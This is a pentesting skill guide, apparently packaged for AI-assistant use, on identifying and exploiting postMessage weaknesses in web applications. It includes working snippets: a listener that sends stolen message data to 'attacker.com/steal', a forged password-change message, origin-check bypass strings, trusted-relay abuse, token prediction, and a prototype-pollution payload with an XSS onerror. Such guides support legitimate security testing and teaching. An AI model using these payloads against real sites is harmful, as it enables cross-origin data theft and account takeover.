Hacktricks-skills postmessage-vulnerabilities

How to identify and exploit postMessage vulnerabilities in web applications. Use this skill whenever the user mentions postMessage, cross-origin communication, iframe messaging, event listeners, origin validation, or wants to test for message-based XSS, prototype pollution, or token theft. Trigger for any pentesting task involving JavaScript messaging APIs, cross-origin data flows, or third-party SDK integrations.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/postmessage-vulnerabilities/postmessage-vulnerabilities/SKILL.MD
source content

PostMessage Vulnerabilities

A comprehensive guide to identifying and exploiting postMessage vulnerabilities in web applications.

Quick Start

  1. Enumerate postMessage listeners on the target page
  2. Identify weak origin validation patterns
  3. Test for common bypass techniques
  4. Exploit based on the vulnerability type found

Enumeration

Find Event Listeners

Method 1: Search JavaScript files

grep -r "addEventListener.*message" /path/to/js/
grep -r "\$\(window\).on.*message" /path/to/js/

Method 2: Browser DevTools

// In console
getEventListeners(window)

Method 3: DevTools UI

  • Go to Elements → Event Listeners tab
  • Look for
    message
    event handlers

Method 4: Browser Extensions

These intercept and display all postMessage traffic.

Common Vulnerability Patterns

1. Wildcard Target Origin

Vulnerable code:

window.postMessage('sensitive data', '*')

Exploit: If the page can be iframed (no X-Frame-Options), you can:

  1. Create an iframe pointing to the victim page
  2. Listen for messages with
    window.addEventListener('message', handler)
  3. Receive all messages sent with
    *
    target origin

Attack vector:

<iframe src="https://victim.com/sensitive-page"></iframe>
<script>
window.addEventListener('message', (e) => {
  console.log('Stolen:', e.data);
  fetch('https://attacker.com/steal?data=' + encodeURIComponent(JSON.stringify(e.data)));
});
</script>

2. Missing Origin Validation

Vulnerable code:

window.addEventListener('message', (e) => {
  // No origin check!
  processSensitiveData(e.data);
});

Exploit: Send arbitrary messages from any origin:

const victimWindow = window.open('https://victim.com/');
victimWindow.postMessage({
  action: 'changePassword',
  newPassword: 'attacker-controlled'
}, '*');

3. Weak Origin Validation

indexOf() bypass:

// Vulnerable
if (event.origin.indexOf('https://trusted.com') !== -1) {
  // ...
}

// Bypass with: https://attacker-trusted.com.evil.com

search() bypass:

// Vulnerable - treats string as regex
if (event.origin.search('trusted.com') !== -1) {
  // ...
}

// Bypass with: trustedXcom (X matches any char in regex)

match() bypass:

// Vulnerable
if (event.origin.match(/trusted\.com/)) {
  // ...
}

// Bypass with: trusted.com.evil.com (matches the pattern)

4. e.origin == window.origin Bypass

Scenario: Sandboxed iframes with

allow-popups
but not
allow-popups-to-escape-sandbox

Exploit: Both iframe and popup have

null
origin:

// In sandboxed iframe
const popup = window.open('https://attacker.com/');
// e.origin === null, window.origin === null
// So e.origin == window.origin evaluates to true

5. e.source Bypass

Vulnerable check:

if (received_message.source !== window) {
  return;
}

Bypass: Create and immediately delete an iframe:

const iframe = document.createElement('iframe');
document.body.appendChild(iframe);
iframe.contentWindow.postMessage('data', '*');
document.body.removeChild(iframe);
// e.source is now null

Advanced Attack Patterns

Origin-Derived Script Loading

Pattern: SDK stores

event.origin
and uses it to load scripts

Exploit:

  1. Send postMessage from attacker origin
  2. SDK stores attacker origin in localStorage
  3. SDK loads script from attacker origin
  4. Attacker JS runs in victim context

Example (CAPIG case study):

// Attacker sends
window.postMessage({
  msg_type: 'IWL_BOOTSTRAP',
  pixel_id: '12345'
}, '*');

// SDK stores event.origin and later loads:
// ${event.origin}/sdk/${pixel_id}/iwl.js

Trusted Relay Abuse

Pattern: Trusted origin has endpoints that forward URL params via postMessage

Exploit:

  1. Find relay endpoint on trusted origin (e.g.,
    /preview?msg=...
    )
  2. Navigate attacker-controlled window to relay with crafted params
  3. Relay sends postMessage from trusted origin
  4. Victim listener accepts it (origin check passes)

Example:

// Attacker page
const relay = window.open('https://trusted.com/relay?msg_type=ADMIN_ACTION&token=STOLEN');
// Relay sends postMessage from trusted.com origin
// Victim accepts it

Math.random() Token Prediction

Pattern: Callback tokens generated with

Math.random()

Exploit:

  1. Leak PRNG outputs via
    window.name
    on plugin iframes
  2. Use V8 predictor (e.g., v8-randomness-predictor)
  3. Predict next callback token
  4. Forge trusted messages

Example:

// Leaked iframe name: "f7a3b2c1d4e5"
// Convert back to float, feed to predictor
// Get next predictedFloat
const callback = "f" + (predictedFloat * (1 << 30)).toString(16).replace(".", "");
// Use callback in forged message

Prototype Pollution via postMessage

Pattern: postMessage data merged into objects without sanitization

Exploit:

const victim = window.open('https://victim.com/iframe');
victim.postMessage({
  '__proto__': {
    'isAdmin': true,
    'username': '<img src=x onerror=alert(1)>'
  }
}, '*');

Testing Checklist

  • Can the page be iframed? (Check X-Frame-Options, Content-Security-Policy)
  • Are there postMessage listeners? (Use enumeration methods above)
  • Do listeners validate event.origin?
  • Is validation using indexOf/search/match? (Weak patterns)
  • Is targetOrigin set to '*'?
  • Are there third-party SDKs with postMessage handlers?
  • Can you find relay endpoints on trusted origins?
  • Are callback tokens predictable?

Tools

References